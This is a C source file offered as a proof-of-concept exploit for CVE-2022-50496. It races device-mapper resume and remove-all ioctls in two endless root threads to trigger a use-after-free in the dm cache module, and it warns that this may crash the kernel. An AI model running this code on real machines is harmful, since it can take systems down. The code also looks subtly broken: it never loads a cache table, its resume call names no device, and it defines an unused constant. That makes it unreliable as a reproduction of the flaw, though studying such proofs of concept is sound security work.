// CVE-2022-50496 PoC - dm cache UAF via concurrent dm_resume/dm_destroy
// This PoC demonstrates the race condition between dm_resume() and dm_destroy()
// that triggers a Use-After-Free in the dm cache module.
//
// Note: Requires root privileges to manipulate device-mapper devices.
// Compile: gcc -o poc_cve_2022_50496 poc.c -lpthread
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <linux/dm-ioctl.h>
#define DM_CLEAR_CMD 0x1
// Structure to hold DM ioctl data
struct dm_ioctl_sync {
struct dm_ioctl header;
};
// Open device-mapper control device
int dm_open(void) {
int fd = open("/dev/mapper/control", O_RDWR);
if (fd < 0) {
perror("Cannot open /dev/mapper/control");
return -1;
}
return fd;
}
// Create a dm cache target via dmsetup-like interface
int create_dm_cache(int fd, const char *name) {
struct dm_ioctl *dmi = calloc(1, sizeof(struct dm_ioctl));
if (!dmi) return -1;
dmi->version[0] = DM_VERSION_MAJOR;
dmi->version[1] = DM_VERSION_MINOR;
dmi->version[2] = DM_VERSION_PATCHLEVEL;
dmi->data_size = sizeof(struct dm_ioctl);
dmi->data_start = sizeof(struct dm_ioctl);
strncpy(dmi->name, name, sizeof(dmi->name) - 1);
dmi->flags = DM_PERSISTENT_DEV_FLAG;
if (ioctl(fd, DM_CREATE_CMD, dmi) < 0) {
perror("DM_CREATE failed");
free(dmi);
return -1;
}
free(dmi);
return 0;
}
// Resume the dm device (triggers timer setup)
void *resume_thread(void *arg) {
int fd = *(int *)arg;
struct dm_ioctl dmi;
memset(&dmi, 0, sizeof(dmi));
dmi.data_size = sizeof(dmi);
dmi.data_start = sizeof(dmi);
dmi.flags = DM_PERSISTENT_DEV_FLAG;
while (1) {
ioctl(fd, DM_RESUME_CMD, &dmi);
usleep(1);
}
return NULL;
}
// Destroy the dm device (triggers UAF when concurrent with resume)
void *destroy_thread(void *arg) {
int fd = *(int *)arg;
struct dm_ioctl dmi;
memset(&dmi, 0, sizeof(dmi));
dmi.data_size = sizeof(dmi);
dmi.data_start = sizeof(dmi);
while (1) {
ioctl(fd, DM_REMOVE_ALL_CMD, &dmi);
usleep(1);
}
return NULL;
}
int main(int argc, char *argv[]) {
int fd;
pthread_t t1, t2;
printf("[+] CVE-2022-50496 PoC - dm cache UAF\n");
printf("[+] Requires root privileges\n");
if (getuid() != 0) {
fprintf(stderr, "[-] Must run as root\n");
return 1;
}
fd = dm_open();
if (fd < 0) return 1;
// Create dm cache device
if (create_dm_cache(fd, "cache_vuln") < 0) {
close(fd);
return 1;
}
printf("[+] Starting concurrent resume/destroy threads...\n");
printf("[+] This may crash the kernel due to UAF\n");
// Launch concurrent threads to trigger the race condition
pthread_create(&t1, NULL, resume_thread, &fd);
pthread_create(&t2, NULL, destroy_thread, &fd);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
close(fd);
return 0;
}